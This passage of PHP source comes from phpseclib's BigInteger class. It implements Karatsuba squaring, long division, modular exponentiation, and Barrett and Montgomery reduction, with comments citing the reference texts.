                return $this->_regularMultiply($x_value, $y_value);
            }

$x1 = array_slice($x_value, $m);
            $x0 = array_slice($x_value, 0, $m);
            $y1 = array_slice($y_value, $m);
            $y0 = array_slice($y_value, 0, $m);

$z2 = $this->_karatsuba($x1, $y1);
            $z0 = $this->_karatsuba($x0, $y0);

$z1 = $this->_add($x1, false, $x0, false);
            $temp = $this->_add($y1, false, $y0, false);
            $z1 = $this->_karatsuba($z1[self::VALUE], $temp[self::VALUE]);
            $temp = $this->_add($z2, false, $z0, false);
            $z1 = $this->_subtract($z1, false, $temp[self::VALUE], false);

$z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
            $z1[self::VALUE] = array_merge(array_fill(0, $m, 0), $z1[self::VALUE]);

$xy = $this->_add($z2, false, $z1[self::VALUE], $z1[self::SIGN]);
            $xy = $this->_add($xy[self::VALUE], $xy[self::SIGN], $z0, false);

return $xy[self::VALUE];
        }

/**
         * Performs squaring
         *
         * @param array $x
         * @return array
         * @access private
         */
        function _square($x = false)
        {
            return count($x) < 2 * self::KARATSUBA_CUTOFF ?
                $this->_trim($this->_baseSquare($x)) :
                $this->_trim($this->_karatsubaSquare($x));
        }

/**
         * Performs traditional squaring on two BigIntegers
         *
         * Squaring can be done faster than multiplying a number by itself can be.  See
         * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=7 HAC 14.2.4} /
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=141 MPM 5.3} for more information.
         *
         * @param array $value
         * @return array
         * @access private
         */
        function _baseSquare($value)
        {
            if (empty($value)) {
                return array();
            }
            $square_value = $this->_array_repeat(0, 2 * count($value));

for ($i = 0, $max_index = count($value) - 1; $i <= $max_index; ++$i) {
                $i2 = $i << 1;

$temp = $square_value[$i2] + $value[$i] * $value[$i];
                $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                $square_value[$i2] = (int)($temp - self::$baseFull * $carry);

// note how we start from $i+1 instead of 0 as we do in multiplication.
                for ($j = $i + 1, $k = $i2 + 1; $j <= $max_index; ++$j, ++$k) {
                    $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry;
                    $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                    $square_value[$k] = (int)($temp - self::$baseFull * $carry);
                }

// the following line can yield values larger 2**15.  at this point, PHP should switch
                // over to floats.
                $square_value[$i + $max_index + 1] = $carry;
            }

return $square_value;
        }

/**
         * Performs Karatsuba "squaring" on two BigIntegers
         *
         * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=151 MPM 5.3.4}.
         *
         * @param array $value
         * @return array
         * @access private
         */
        function _karatsubaSquare($value)
        {
            $m = count($value) >> 1;

if ($m < self::KARATSUBA_CUTOFF) {
                return $this->_baseSquare($value);
            }

$x1 = array_slice($value, $m);
            $x0 = array_slice($value, 0, $m);

$z2 = $this->_karatsubaSquare($x1);
            $z0 = $this->_karatsubaSquare($x0);

$z1 = $this->_add($x1, false, $x0, false);
            $z1 = $this->_karatsubaSquare($z1[self::VALUE]);
            $temp = $this->_add($z2, false, $z0, false);
            $z1 = $this->_subtract($z1, false, $temp[self::VALUE], false);

$z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
            $z1[self::VALUE] = array_merge(array_fill(0, $m, 0), $z1[self::VALUE]);

$xx = $this->_add($z2, false, $z1[self::VALUE], $z1[self::SIGN]);
            $xx = $this->_add($xx[self::VALUE], $xx[self::SIGN], $z0, false);

return $xx[self::VALUE];
        }

/**
         * Divides two BigIntegers.
         *
         * Returns an array whose first element contains the quotient and whose second element contains the
         * "common residue".  If the remainder would be positive, the "common residue" and the remainder are the
         * same.  If the remainder would be negative, the "common residue" is equal to the sum of the remainder
         * and the divisor (basically, the "common residue" is the first positive modulo).
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('10');
         *    $b = new \phpseclib\Math\BigInteger('20');
         *
         *    list($quotient, $remainder) = $a->divide($b);
         *
         *    echo $quotient->toString(); // outputs 0
         *    echo "\r\n";
         *    echo $remainder->toString(); // outputs 10
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $y
         * @return array
         * @access public
         * @internal This function is based off of {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=9 HAC 14.20}.
         */
        function divide($y)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $quotient = new static();
                    $remainder = new static();

list($quotient->value, $remainder->value) = gmp_div_qr($this->value, $y->value);

if (gmp_sign($remainder->value) < 0) {
                        $remainder->value = gmp_add($remainder->value, gmp_abs($y->value));
                    }

return array($this->_normalize($quotient), $this->_normalize($remainder));
                case self::MODE_BCMATH:
                    $quotient = new static();
                    $remainder = new static();

$quotient->value = bcdiv($this->value, $y->value, 0);
                    $remainder->value = bcmod($this->value, $y->value);

if ($remainder->value[0] == '-') {
                        $remainder->value = bcadd($remainder->value, $y->value[0] == '-' ? substr($y->value, 1) : $y->value, 0);
                    }

return array($this->_normalize($quotient), $this->_normalize($remainder));
            }

if (count($y->value) == 1) {
                list($q, $r) = $this->_divide_digit($this->value, $y->value[0]);
                $quotient = new static();
                $remainder = new static();
                $quotient->value = $q;
                $remainder->value = array($r);
                $quotient->is_negative = $this->is_negative != $y->is_negative;
                return array($this->_normalize($quotient), $this->_normalize($remainder));
            }

static $zero;
            if (!isset($zero)) {
                $zero = new static();
            }

$x = $this->copy();
            $y = $y->copy();

$x_sign = $x->is_negative;
            $y_sign = $y->is_negative;

$x->is_negative = $y->is_negative = false;

$diff = $x->compare($y);

if (!$diff) {
                $temp = new static();
                $temp->value = array(1);
                $temp->is_negative = $x_sign != $y_sign;
                return array($this->_normalize($temp), $this->_normalize(new static()));
            }

if ($diff < 0) {
                // if $x is negative, "add" $y.
                if ($x_sign) {
                    $x = $y->subtract($x);
                }
                return array($this->_normalize(new static()), $this->_normalize($x));
            }

// normalize $x and $y as described in HAC 14.23 / 14.24
            $msb = $y->value[count($y->value) - 1];
            for ($shift = 0; !($msb & self::$msb); ++$shift) {
                $msb <<= 1;
            }
            $x->_lshift($shift);
            $y->_lshift($shift);
            $y_value = &$y->value;

$x_max = count($x->value) - 1;
            $y_max = count($y->value) - 1;

$quotient = new static();
            $quotient_value = &$quotient->value;
            $quotient_value = $this->_array_repeat(0, $x_max - $y_max + 1);

static $temp, $lhs, $rhs;
            if (!isset($temp)) {
                $temp = new static();
                $lhs = new static();
                $rhs = new static();
            }
            $temp_value = &$temp->value;
            $rhs_value =  &$rhs->value;

// $temp = $y << ($x_max - $y_max-1) in base 2**26
            $temp_value = array_merge($this->_array_repeat(0, $x_max - $y_max), $y_value);

while ($x->compare($temp) >= 0) {
                // calculate the "common residue"
                ++$quotient_value[$x_max - $y_max];
                $x = $x->subtract($temp);
                $x_max = count($x->value) - 1;
            }

for ($i = $x_max; $i >= $y_max + 1; --$i) {
                $x_value = &$x->value;
                $x_window = array(
                    isset($x_value[$i]) ? $x_value[$i] : 0,
                    isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0,
                    isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0
                );
                $y_window = array(
                    $y_value[$y_max],
                    ($y_max > 0) ? $y_value[$y_max - 1] : 0
                );

$q_index = $i - $y_max - 1;
                if ($x_window[0] == $y_window[0]) {
                    $quotient_value[$q_index] = self::$maxDigit;
                } else {
                    $quotient_value[$q_index] = $this->_safe_divide(
                        $x_window[0] * self::$baseFull + $x_window[1],
                        $y_window[0]
                    );
                }

$temp_value = array($y_window[1], $y_window[0]);

$lhs->value = array($quotient_value[$q_index]);
                $lhs = $lhs->multiply($temp);

$rhs_value = array($x_window[2], $x_window[1], $x_window[0]);

while ($lhs->compare($rhs) > 0) {
                    --$quotient_value[$q_index];

$lhs->value = array($quotient_value[$q_index]);
                    $lhs = $lhs->multiply($temp);
                }

$adjust = $this->_array_repeat(0, $q_index);
                $temp_value = array($quotient_value[$q_index]);
                $temp = $temp->multiply($y);
                $temp_value = &$temp->value;
                if (count($temp_value)) {
                    $temp_value = array_merge($adjust, $temp_value);
                }

$x = $x->subtract($temp);

if ($x->compare($zero) < 0) {
                    $temp_value = array_merge($adjust, $y_value);
                    $x = $x->add($temp);

--$quotient_value[$q_index];
                }

$x_max = count($x_value) - 1;
            }

// unnormalize the remainder
            $x->_rshift($shift);

$quotient->is_negative = $x_sign != $y_sign;

// calculate the "common residue", if appropriate
            if ($x_sign) {
                $y->_rshift($shift);
                $x = $y->subtract($x);
            }

return array($this->_normalize($quotient), $this->_normalize($x));
        }

/**
         * Divides a BigInteger by a regular integer
         *
         * abc / x = a00 / x + b0 / x + c / x
         *
         * @param array $dividend
         * @param int $divisor
         * @return array
         * @access private
         */
        function _divide_digit($dividend, $divisor)
        {
            $carry = 0;
            $result = array();

for ($i = count($dividend) - 1; $i >= 0; --$i) {
                $temp = self::$baseFull * $carry + $dividend[$i];
                $result[$i] = $this->_safe_divide($temp, $divisor);
                $carry = (int)($temp - $divisor * $result[$i]);
            }

return array($result, $carry);
        }

/**
         * Performs modular exponentiation.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('10');
         *    $b = new \phpseclib\Math\BigInteger('20');
         *    $c = new \phpseclib\Math\BigInteger('30');
         *
         *    $c = $a->modPow($b, $c);
         *
         *    echo $c->toString(); // outputs 10
         * ?>
         * </code>
         *
         * @access public
         * @internal The most naive approach to modular exponentiation has very unreasonable requirements, and
         *    and although the approach involving repeated squaring does vastly better, it, too, is impractical
         *    for our purposes.  The reason being that division - by far the most complicated and time-consuming
         *    of the basic operations (eg. +,-,*,/) - occurs multiple times within it.
         *
         *    Modular reductions resolve this issue.  Although an individual modular reduction takes more time
         *    then an individual division, when performed in succession (with the same modulo), they're a lot faster.
         *
         *    The two most commonly used modular reductions are Barrett and Montgomery reduction.  Montgomery reduction,
         *    although faster, only works when the gcd of the modulo and of the base being used is 1.  In RSA, when the
         *    base is a power of two, the modulo - a product of two primes - is always going to have a gcd of 1 (because
         *    the product of two odd numbers is odd), but what about when RSA isn't used?
         *
         *    In contrast, Barrett reduction has no such constraint.  As such, some bigint implementations perform a
         *    Barrett reduction after every operation in the modpow function.  Others perform Barrett reductions when the
         *    modulo is even and Montgomery reductions when the modulo is odd.  BigInteger.java's modPow method, however,
         *    uses a trick involving the Chinese Remainder Theorem to factor the even modulo into two numbers - one odd and
         *    the other, a power of two - and recombine them, later.  This is the method that this modPow function uses.
         *    {@link http://islab.oregonstate.edu/papers/j34monex.pdf Montgomery Reduction with Even Modulus} elaborates.
         */
        function modPow($e, $n)
        {
            $n = $this->bitmask !== false && $this->bitmask->compare($n) < 0 ? $this->bitmask : $n->abs();

if ($e->compare(new static()) < 0) {
                $e = $e->abs();

$temp = $this->modInverse($n);
                if ($temp === false) {
                    return false;
                }

return $this->_normalize($temp->modPow($e, $n));
            }

if (MATH_BIGINTEGER_MODE == self::MODE_GMP) {
                $temp = new static();
                $temp->value = gmp_powm($this->value, $e->value, $n->value);

return $this->_normalize($temp);
            }

if ($this->compare(new static()) < 0 || $this->compare($n) > 0) {
                list(, $temp) = $this->divide($n);
                return $temp->modPow($e, $n);
            }

if (defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) {
                $components = array(
                    'modulus' => $n->toBytes(true),
                    'publicExponent' => $e->toBytes(true)
                );

$components = array(
                    'modulus' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['modulus'])), $components['modulus']),
                    'publicExponent' => pack('Ca*a*', 2, $this->_encodeASN1Length(strlen($components['publicExponent'])), $components['publicExponent'])
                );

$RSAPublicKey = pack(
                    'Ca*a*a*',
                    48,
                    $this->_encodeASN1Length(strlen($components['modulus']) + strlen($components['publicExponent'])),
                    $components['modulus'],
                    $components['publicExponent']
                );

$rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
                $RSAPublicKey = chr(0) . $RSAPublicKey;
                $RSAPublicKey = chr(3) . $this->_encodeASN1Length(strlen($RSAPublicKey)) . $RSAPublicKey;

$encapsulated = pack(
                    'Ca*a*',
                    48,
                    $this->_encodeASN1Length(strlen($rsaOID . $RSAPublicKey)),
                    $rsaOID . $RSAPublicKey
                );

$RSAPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" .
                    chunk_split(base64_encode($encapsulated)) .
                    '-----END PUBLIC KEY-----';

$plaintext = str_pad($this->toBytes(), strlen($n->toBytes(true)) - 1, "\0", STR_PAD_LEFT);

if (openssl_public_encrypt($plaintext, $result, $RSAPublicKey, OPENSSL_NO_PADDING)) {
                    return new static($result, 256);
                }
            }

if (MATH_BIGINTEGER_MODE == self::MODE_BCMATH) {
                $temp = new static();
                $temp->value = bcpowmod($this->value, $e->value, $n->value, 0);

return $this->_normalize($temp);
            }

if (empty($e->value)) {
                $temp = new static();
                $temp->value = array(1);
                return $this->_normalize($temp);
            }

if ($e->value == array(1)) {
                list(, $temp) = $this->divide($n);
                return $this->_normalize($temp);
            }

if ($e->value == array(2)) {
                $temp = new static();
                $temp->value = $this->_square($this->value);
                list(, $temp) = $temp->divide($n);
                return $this->_normalize($temp);
            }

return $this->_normalize($this->_slidingWindow($e, $n, self::BARRETT));

// the following code, although not callable, can be run independently of the above code
            // although the above code performed better in my benchmarks the following could might
            // perform better under different circumstances. in lieu of deleting it it's just been
            // made uncallable

// is the modulo odd?
            if ($n->value[0] & 1) {
                return $this->_normalize($this->_slidingWindow($e, $n, self::MONTGOMERY));
            }
            // if it's not, it's even

// find the lowest set bit (eg. the max pow of 2 that divides $n)
            for ($i = 0; $i < count($n->value); ++$i) {
                if ($n->value[$i]) {
                    $temp = decbin($n->value[$i]);
                    $j = strlen($temp) - strrpos($temp, '1') - 1;
                    $j += 26 * $i;
                    break;
                }
            }
            // at this point, 2^$j * $n/(2^$j) == $n

$mod1 = $n->copy();
            $mod1->_rshift($j);
            $mod2 = new static();
            $mod2->value = array(1);
            $mod2->_lshift($j);

$part1 = ($mod1->value != array(1)) ? $this->_slidingWindow($e, $mod1, self::MONTGOMERY) : new static();
            $part2 = $this->_slidingWindow($e, $mod2, self::POWEROF2);

$y1 = $mod2->modInverse($mod1);
            $y2 = $mod1->modInverse($mod2);

$result = $part1->multiply($mod2);
            $result = $result->multiply($y1);

$temp = $part2->multiply($mod1);
            $temp = $temp->multiply($y2);

$result = $result->add($temp);
            list(, $result) = $result->divide($n);

return $this->_normalize($result);
        }

/**
         * Performs modular exponentiation.
         *
         * Alias for modPow().
         *
         * @param \phpseclib\Math\BigInteger $e
         * @param \phpseclib\Math\BigInteger $n
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function powMod($e, $n)
        {
            return $this->modPow($e, $n);
        }

/**
         * Sliding Window k-ary Modular Exponentiation
         *
         * Based on {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=27 HAC 14.85} /
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=210 MPM 7.7}.  In a departure from those algorithims,
         * however, this function performs a modular reduction after every multiplication and squaring operation.
         * As such, this function has the same preconditions that the reductions being used do.
         *
         * @param \phpseclib\Math\BigInteger $e
         * @param \phpseclib\Math\BigInteger $n
         * @param int $mode
         * @return \phpseclib\Math\BigInteger
         * @access private
         */
        function _slidingWindow($e, $n, $mode)
        {
            static $window_ranges = array(7, 25, 81, 241, 673, 1793); // from BigInteger.java's oddModPow function
            //static $window_ranges = array(0, 7, 36, 140, 450, 1303, 3529); // from MPM 7.3.1

$e_value = $e->value;
            $e_length = count($e_value) - 1;
            $e_bits = decbin($e_value[$e_length]);
            for ($i = $e_length - 1; $i >= 0; --$i) {
                $e_bits .= str_pad(decbin($e_value[$i]), self::$base, '0', STR_PAD_LEFT);
            }

$e_length = strlen($e_bits);

// calculate the appropriate window size.
            // $window_size == 3 if $window_ranges is between 25 and 81, for example.
            for ($i = 0, $window_size = 1; $i < count($window_ranges) && $e_length > $window_ranges[$i]; ++$window_size, ++$i) {
            }

$n_value = $n->value;

// precompute $this^0 through $this^$window_size
            $powers = array();
            $powers[1] = $this->_prepareReduce($this->value, $n_value, $mode);
            $powers[2] = $this->_squareReduce($powers[1], $n_value, $mode);

// we do every other number since substr($e_bits, $i, $j+1) (see below) is supposed to end
            // in a 1.  ie. it's supposed to be odd.
            $temp = 1 << ($window_size - 1);
            for ($i = 1; $i < $temp; ++$i) {
                $i2 = $i << 1;
                $powers[$i2 + 1] = $this->_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode);
            }

$result = array(1);
            $result = $this->_prepareReduce($result, $n_value, $mode);

for ($i = 0; $i < $e_length;) {
                if (!$e_bits[$i]) {
                    $result = $this->_squareReduce($result, $n_value, $mode);
                    ++$i;
                } else {
                    for ($j = $window_size - 1; $j > 0; --$j) {
                        if (!empty($e_bits[$i + $j])) {
                            break;
                        }
                    }

// eg. the length of substr($e_bits, $i, $j + 1)
                    for ($k = 0; $k <= $j; ++$k) {
                        $result = $this->_squareReduce($result, $n_value, $mode);
                    }

$result = $this->_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1))], $n_value, $mode);

$i += $j + 1;
                }
            }

$temp = new static();
            $temp->value = $this->_reduce($result, $n_value, $mode);

return $temp;
        }

/**
         * Modular reduction
         *
         * For most $modes this will return the remainder.
         *
         * @param array $x
         * @param array $n
         * @param int $mode
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _reduce($x, $n, $mode)
        {
            switch ($mode) {
                case self::MONTGOMERY:
                    return $this->_montgomery($x, $n);
                case self::BARRETT:
                    return $this->_barrett($x, $n);
                case self::POWEROF2:
                    $lhs = new static();
                    $lhs->value = $x;
                    $rhs = new static();
                    $rhs->value = $n;
                    return $x->_mod2($n);
                case self::CLASSIC:
                    $lhs = new static();
                    $lhs->value = $x;
                    $rhs = new static();
                    $rhs->value = $n;
                    list(, $temp) = $lhs->divide($rhs);
                    return $temp->value;
                case self::NONE:
                    return $x;
                default:
                    // an invalid $mode was provided
            }
        }

/**
         * Modular reduction preperation
         *
         * @param array $x
         * @param array $n
         * @param int $mode
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _prepareReduce($x, $n, $mode)
        {
            if ($mode == self::MONTGOMERY) {
                return $this->_prepMontgomery($x, $n);
            }
            return $this->_reduce($x, $n, $mode);
        }

/**
         * Modular multiply
         *
         * @param array $x
         * @param array $y
         * @param array $n
         * @param int $mode
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _multiplyReduce($x, $y, $n, $mode)
        {
            if ($mode == self::MONTGOMERY) {
                return $this->_montgomeryMultiply($x, $y, $n);
            }
            $temp = $this->_multiply($x, false, $y, false);
            return $this->_reduce($temp[self::VALUE], $n, $mode);
        }

/**
         * Modular square
         *
         * @param array $x
         * @param array $n
         * @param int $mode
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _squareReduce($x, $n, $mode)
        {
            if ($mode == self::MONTGOMERY) {
                return $this->_montgomeryMultiply($x, $x, $n);
            }
            return $this->_reduce($this->_square($x), $n, $mode);
        }

/**
         * Modulos for Powers of Two
         *
         * Calculates $x%$n, where $n = 2**$e, for some $e.  Since this is basically the same as doing $x & ($n-1),
         * we'll just use this function as a wrapper for doing that.
         *
         * @param \phpseclib\Math\BigInteger $n
         * @return \phpseclib\Math\BigInteger
         * @see self::_slidingWindow()
         * @access private
         */
        function _mod2($n)
        {
            $temp = new static();
            $temp->value = array(1);
            return $this->bitwise_and($n->subtract($temp));
        }

/**
         * Barrett Modular Reduction
         *
         * See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=14 HAC 14.3.3} /
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=165 MPM 6.2.5} for more information.  Modified slightly,
         * so as not to require negative numbers (initially, this script didn't support negative numbers).
         *
         * Employs "folding", as described at
         * {@link http://www.cosic.esat.kuleuven.be/publications/thesis-149.pdf#page=66 thesis-149.pdf#page=66}.  To quote from
         * it, "the idea [behind folding] is to find a value x' such that x (mod m) = x' (mod m), with x' being smaller than x."
         *
         * Unfortunately, the "Barrett Reduction with Folding" algorithm described in thesis-149.pdf is not, as written, all that
         * usable on account of (1) its not using reasonable radix points as discussed in
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=162 MPM 6.2.2} and (2) the fact that, even with reasonable
         * radix points, it only works when there are an even number of digits in the denominator.  The reason for (2) is that
         * (x >> 1) + (x >> 1) != x / 2 + x / 2.  If x is even, they're the same, but if x is odd, they're not.  See the in-line
         * comments for details.
         *
         * @param array $n
         * @param array $m
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _barrett($n, $m)
        {
            static $cache = array(
                self::VARIABLE => array(),
                self::DATA => array()
            );

$m_length = count($m);

// if ($this->_compare($n, $this->_square($m)) >= 0) {
            if (count($n) > 2 * $m_length) {
                $lhs = new static();
                $rhs = new static();
                $lhs->value = $n;
                $rhs->value = $m;
                list(, $temp) = $lhs->divide($rhs);
                return $temp->value;
            }

// if (m.length >> 1) + 2 <= m.length then m is too small and n can't be reduced
            if ($m_length < 5) {
                return $this->_regularBarrett($n, $m);
            }

// n = 2 * m.length

if (($key = array_search($m, $cache[self::VARIABLE])) === false) {
                $key = count($cache[self::VARIABLE]);
                $cache[self::VARIABLE][] = $m;

$lhs = new static();
                $lhs_value = &$lhs->value;
                $lhs_value = $this->_array_repeat(0, $m_length + ($m_length >> 1));
                $lhs_value[] = 1;
                $rhs = new static();
                $rhs->value = $m;

list($u, $m1) = $lhs->divide($rhs);
                $u = $u->value;
                $m1 = $m1->value;

$cache[self::DATA][] = array(
                    'u' => $u, // m.length >> 1 (technically (m.length >> 1) + 1)
                    'm1' => $m1 // m.length
                );
            } else {
                extract($cache[self::DATA][$key]);
            }

$cutoff = $m_length + ($m_length >> 1);
            $lsd = array_slice($n, 0, $cutoff); // m.length + (m.length >> 1)
            $msd = array_slice($n, $cutoff);    // m.length >> 1
            $lsd = $this->_trim($lsd);
            $temp = $this->_multiply($msd, false, $m1, false);
            $n = $this->_add($lsd, false, $temp[self::VALUE], false); // m.length + (m.length >> 1) + 1

if ($m_length & 1) {
                return $this->_regularBarrett($n[self::VALUE], $m);
            }

// (m.length + (m.length >> 1) + 1) - (m.length - 1) == (m.length >> 1) + 2
            $temp = array_slice($n[self::VALUE], $m_length - 1);
            // if even: ((m.length >> 1) + 2) + (m.length >> 1) == m.length + 2
            // if odd:  ((m.length >> 1) + 2) + (m.length >> 1) == (m.length - 1) + 2 == m.length + 1
            $temp = $this->_multiply($temp, false, $u, false);
            // if even: (m.length + 2) - ((m.length >> 1) + 1) = m.length - (m.length >> 1) + 1
            // if odd:  (m.length + 1) - ((m.length >> 1) + 1) = m.length - (m.length >> 1)
            $temp = array_slice($temp[self::VALUE], ($m_length >> 1) + 1);
            // if even: (m.length - (m.length >> 1) + 1) + m.length = 2 * m.length - (m.length >> 1) + 1
            // if odd:  (m.length - (m.length >> 1)) + m.length     = 2 * m.length - (m.length >> 1)
            $temp = $this->_multiply($temp, false, $m, false);

// at this point, if m had an odd number of digits, we'd be subtracting a 2 * m.length - (m.length >> 1) digit
            // number from a m.length + (m.length >> 1) + 1 digit number.  ie. there'd be an extra digit and the while loop
            // following this comment would loop a lot (hence our calling _regularBarrett() in that situation).

$result = $this->_subtract($n[self::VALUE], false, $temp[self::VALUE], false);

while ($this->_compare($result[self::VALUE], $result[self::SIGN], $m, false) >= 0) {
                $result = $this->_subtract($result[self::VALUE], $result[self::SIGN], $m, false);
            }

return $result[self::VALUE];
        }

/**
         * (Regular) Barrett Modular Reduction
         *
         * For numbers with more than four digits BigInteger::_barrett() is faster.  The difference between that and this
         * is that this function does not fold the denominator into a smaller form.
         *
         * @param array $x
         * @param array $n
         * @return array
         * @see self::_slidingWindow()
         * @access private
         */
        function _regularBarrett($x, $n)
        {
            static $cache = array(
                self::VARIABLE => array(),
                self::DATA => array()
            );

$n_length = count($n);

if (count($x) > 2 * $n_length) {
                $lhs = new static();
                $rhs = new static();
                $lhs->value = $x;
                $rhs->value = $n;
                list(, $temp) = $lhs->divide($rhs);
                return $temp->value;
            }

if (($key = array_search($n, $cache[self::VARIABLE])) === false) {
                $key = count($cache[self::VARIABLE]);
                $cache[self::VARIABLE][] = $n;
                $lhs = new static();
                $lhs_value = &$lhs->value;
                $lhs_value = $this->_array_repeat(0, 2 * $n_length);
                $lhs_value[] = 1;
                $rhs = new static();
                $rhs->value = $n;
                list($temp,) = $lhs->divide($rhs); // m.length
                $cache[self::DATA][] = $temp->value;
            }

// 2 * m.length - (m.length - 1) = m.length + 1
            $temp = array_slice($x, $n_length - 1);
            // (m.length + 1) + m.length = 2 * m.length + 1
            $temp = $this->_multiply($temp, false, $cache[self::DATA][$key], false);
            // (2 * m.length + 1) - (m.length - 1) = m.length + 2
            $temp = array_slice($temp[self::VALUE], $n_length + 1);

// m.length + 1
            $result = array_slice($x, 0, $n_length + 1);
            // m.length + 1
            $temp = $this->_multiplyLower($temp, false, $n, false, $n_length + 1);
            // $temp == array_slice($temp->_multiply($temp, false, $n, false)->value, 0, $n_length + 1)

if ($this->_compare($result, false, $temp[self::VALUE], $temp[self::SIGN]) < 0) {
                $corrector_value = $this->_array_repeat(0, $n_length + 1);
                $corrector_value[count($corrector_value)] = 1;
                $result = $this->_add($result, false, $corrector_value, false);
                $result = $result[self::VALUE];
            }

// at this point, we're subtracting a number with m.length + 1 digits from another number with m.length + 1 digits
            $result = $this->_subtract($result, false, $temp[self::VALUE], $temp[self::SIGN]);
            while ($this->_compare($result[self::VALUE], $result[self::SIGN], $n, false) > 0) {
                $result = $this->_subtract($result[self::VALUE], $result[self::SIGN], $n, false);
            }

return $result[self::VALUE];
        }

/**
         * Performs long multiplication up to $stop digits
         *
         * If you're going to be doing array_slice($product->value, 0, $stop), some cycles can be saved.
         *
         * @param array $x_value
         * @param bool $x_negative
         * @param array $y_value
         * @param bool $y_negative
         * @param int $stop
         * @return array
         * @access private
         * @see self::_regularBarrett()
         */
        function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop)
        {
            $x_length = count($x_value);
            $y_length = count($y_value);

if ($x_length < $y_length) {
                $temp = $x_value;
                $x_value = $y_value;
                $y_value = $temp;

$x_length = count($x_value);
                $y_length = count($y_value);
            }

$product_value = $this->_array_repeat(0, $x_length + $y_length);

$carry = 0;

for ($j = 0; $j < $x_length; ++$j) { // ie. $i = 0, $k = $i
                $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
                $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                $product_value[$j] = (int)($temp - self::$baseFull * $carry);
            }

if ($j < $stop) {
                $product_value[$j] = $carry;
            }

// the above for loop is what the previous comment was talking about.  the
            // following for loop is the "one with nested for loops"

for ($i = 1; $i < $y_length; ++$i) {
                $carry = 0;

for ($j = 0, $k = $i; $j < $x_length && $k < $stop; ++$j, ++$k) {
                    $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
                    $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                    $product_value[$k] = (int)($temp - self::$baseFull * $carry);
                }

if ($k < $stop) {
                    $product_value[$k] = $carry;
                }
            }

return array(
                self::VALUE => $this->_trim($product_value),
                self::SIGN => $x_negative != $y_negative
            );
        }

/**
         * Montgomery Modular Reduction
         *
         * ($x->_prepMontgomery($n))->_montgomery($n) yields $x % $n.
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=170 MPM 6.3} provides insights on how this can be
         * improved upon (basically, by using the comba method).  gcd($n, 2) must be equal to one for this function
         * to work correctly.
         *
         * @param array $x
         * @param array $n
         * @return array
         * @see self::_slidingWindow()
         * @access private
         * @see self::_prepMontgomery()
         */
        function _montgomery($x, $n)
        {
            static $cache = array(
                self::VARIABLE => array(),
                self::DATA => array()
            );

if (($key = array_search($n, $cache[self::VARIABLE])) === false) {
                $key = count($cache[self::VARIABLE]);
                $cache[self::VARIABLE][] = $x;
                $cache[self::DATA][] = $this->_modInverse67108864($n);
            }

$k = count($n);

$result = array(self::VALUE => $x);

for ($i = 0; $i < $k; ++$i) {
                $temp = $result[self::VALUE][$i] * $cache[self::DATA][$key];
                $temp = $temp - self::$baseFull * (self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
                $temp = $this->_regularMultiply(array($temp), $n);
                $temp = array_merge($this->_array_repeat(0, $i), $temp);
                $result = $this->_add($result[self::VALUE], false, $temp, false);
            }

$result[self::VALUE] = array_slice($result[self::VALUE], $k);

if ($this->_compare($result, false, $n, false) >= 0) {
                $result = $this->_subtract($result[self::VALUE], false, $n, false);
            }

return $result[self::VALUE];
        }

/**
         * Montgomery Multiply
         *
         * Interleaves the montgomery reduction and long multiplication algorithms together as described in
         * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=13 HAC 14.36}
         *
         * @param array $x
         * @param array $y
         * @param array $m
         * @return array
         * @see self::_prepMontgomery()
         * @see self::_montgomery()
         * @access private
         */
        function _montgomeryMultiply($x, $y, $m)
        {
            $temp = $this->_multiply($x, false, $y, false);
            return $this->_montgomery($temp[self::VALUE], $m);

static $cache = array(
                self::VARIABLE => array(),
                self::DATA => array()
            );

if (($key = array_search($m, $cache[self::VARIABLE])) === false) {
                $key = count($cache[self::VARIABLE]);
                $cache[self::VARIABLE][] = $m;
                $cache[self::DATA][] = $this->_modInverse67108864($m);
            }

$n = max(count($x), count($y), count($m));
            $x = array_pad($x, $n, 0);
            $y = array_pad($y, $n, 0);
